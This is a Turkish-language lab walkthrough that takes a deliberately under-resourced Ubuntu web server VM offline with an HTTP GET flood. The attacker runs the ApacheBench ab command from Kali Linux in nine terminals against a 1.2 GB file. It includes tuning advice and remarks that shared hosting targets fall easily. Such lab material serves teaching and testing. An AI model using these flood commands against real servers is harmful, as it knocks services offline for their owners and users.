AB Tool'u ile Sanal Bir Web Sunucuya GET Flood DoS Saldırısı

(+) Birebir denenmiştir ve başarılı olunmuştur.

(*) Uyarı: Post flood için hedef sunucuda yeterince yük oluşturulamadığından dökümanda yer verilmemiştir.

Gereksinimler

Kali Linux 2021.2 VM // Saldırgan Sistem

Get Flood DoS - Ubuntu 18.04 LTS VM // Hedef Web Sunucu

Not:

Get Flood DoS - Ubuntu 18.04 LTS VM kurulumu için bkz. Yaz Tatili - 2014/Zafiyetli VM Makina Hazırlama Dökümanları/GET Flood DoS - Ubuntu 18.04 LTS VM Hazırlama

Saldırı Adımları

1. Kali Linux VM ayarları şöyle yapılır:

4096 MB RAM (4GB Ram)
1 CPU

2. Get Flood DoS - Ubuntu 18.04 LTS VM ayarları şöyle yapılır:

512 MB RAM
1 CPU

3. Kali Linux VM'den hedef web adrese erişilir ve sayfanın anlık cevap verebildiği gözlemlenir.

4. Ardından Kali Linux VM'de 9 adet ab tool'u çalıştırılır ve erişimler tekrar denendiğinde oldukça yavaşlık yaşandığı ve erişimlerin durduğu gözlemlenir.

(*) Uyarı:

Hedef web sunucuda daha çok kaynak tüketmek için "get flood" saldırısını hedef web adresteki büyük bir dosyayı talep edilecek şekilde başlatırız. Bu saldırıda yaklaşık 1,2 GB'lık ikTestMakinası imajı olan test.ova dosyası get ile tekrarlı talep edilecektir.

Kali Linux Terminal 1:

```
> sudo su
> ulimit -n 1000000
> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"
```

Not:

-s : Http Yanıtını Bekleme Timeout Süresi (Default'ta 30 saniyedir)
-c : Eşzamanlı http request sayısı
-n : Toplam gönderilecek http request sayısı

Kali Linux Terminal 2:

> sudo su
> ulimit -n 1000000
> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"

Kali Linux Terminal 3:

> sudo su
> ulimit -n 1000000
> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"

Kali Linux Terminal 4:

> sudo su
> ulimit -n 1000000
> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"

Kali Linux Terminal 5:

> sudo su
> ulimit -n 1000000
> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"

Kali Linux Terminal 6:

> sudo su
> ulimit -n 1000000
> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"

Kali Linux Terminal 7:

> sudo su
> ulimit -n 1000000
> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"

Kali Linux Terminal 8:

> sudo su
> ulimit -n 1000000
> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"

Kali Linux Terminal 9:

> sudo su
> ulimit -n 1000000
> ab -s 10000 -c 100 -n 1000000 "http://HEDEF_WEB_SUNUCU_ADRESI/test.ova"

5. Saldırı ile hedef web adrese erişim denendiğinde erişimler yavaşlar ve durur.

Sonuç

İlk 5 dakika içerisindeyken erişimler ara ara gelebiliyor ama saldırı olmadığı duruma göre yavaşlık oldukça hissediliyor. 5 dakika sonra ise erişimler tamamen gidiyor. Zaman zaman erişimlerin anlık geldiği durumlar da yaşanmıştır. Fakat genel itibariyle sunucu üretilen trafikle baş edememektedir ve servis dışı kalmaktadır.

Uyarı

Bu saldırı bir lab ortamında uygulanmaktadır. Saldırıda hedef web sunucu vm'in kaynakları özellikle düşük tutulmuştur. Çünkü saldırı performansı düşük bir bilgisayardan yapılmaktadır. Performansı yüksek ve bant genişliği yüksek bir bilgisayardan (veya sunucudan) aynı saldırı aynı tool ile yapıldığında performansı yüksek web sunucular servis dışı bırakılabilir.

Notlar

- GET flood'u hedef web adreste index.html sayfasına yapınca saldırı başarılı olmuyor. Dolayısıyla büyük bir dosyaya get flood yapmak saldırının başarılı olması açısından önemli.

- Saldırı öncesi site erişimi çok seri iken saldırı sırasında bağlantı oldukça yavaşlamaktadır ve çoğu zaman da erişim durmuştur.

- -s parametresi 10000 saniye (yani 16 küsür saat) şeklinde olsun. Çünkü yanıtlar geç gelince komut timeout diyor ve çalışmayı durduruyor. Halbuki biz komut yanıt alamasa da veya geç yanıt alsa da sürekli istek paketleri göndersin ve sunucuyu meşgul etsin istiyoruz. Yanıtlar sunucudan gelebilir olduğunda komut çalışmaya devam edeceği için yine yoğunluk bu parametre sayesinde uygulayabilecektir. Dolayısıyla -s timeout süresini yüksek tutarız.

- Saldırı durdurulduğunda belli bir müddet sunucuya erişimler halen gerçekleşemeyecektir. Belli bir müddet sonunda erişimler gelecektir.

- Kurban VM'in içerisinde web tarayıcıdan localhost'tan giderek

    http://localhost/server-status

adresinden sunucudaki yük gözlemlenebilir. Fakat sunucu saldırıda servis dışı kaldığında bu sayfa yoğunluktan dolayı görüntülenemeyebilir.

- Hosting firmalarına yapılan http get flood saldırıları kolaylıkla başarılı olabilmektedir.
Çünkü hosting firmaları tek sunucuda birden fazla web uygulama barındırmaktadır ve tek sunucuda barınan web uygulamalara azar azar kaynak paylaştırmaktadırlar. Bu nedenle yüksek performanslı donanıma sahip yüksek bant genişlikli internete sahip bir sistemden saldırı yapılmasa dahi bu tarz hedeflerde saldırılar başarılı olabilmektedir.

- Ana makinanda ab tool'u ile bu saldırıyı başlatma! Tekrarlı başlatınca bir süre sonra ana makine kaynakları doluyor ve ana makina kitleniyor. Dolayısıyla saldırıyı lab ortamı gereği Kali Linux VM gibi bir sanal makinada başlat. Bu sayede sanal makina kitlense de ana makina çalışmasını sürdürebilecektir. Sanal makinanın kitlendiğine ise rastlanmamıştır.

- Saldırı

> ab -c 100 -n 1000000 "http://192.168.56.125/test.ova"

ile yapılınca erişim başarılı şekilde durdurulmakta. Fakat örneğin -c 1000 yapıldığında bir süre sonra ab tool çalışması terminated oluyor ve tool çalışmayı durduruyor. Bu nedenle düşük performanslı sistemim için en stabil parametre ayarı -c 100 şeklinde.

Kaynaklar

https://www.youtube.com/watch?v=1QNBrj58aCc&ab_channel=LoopHoleWilson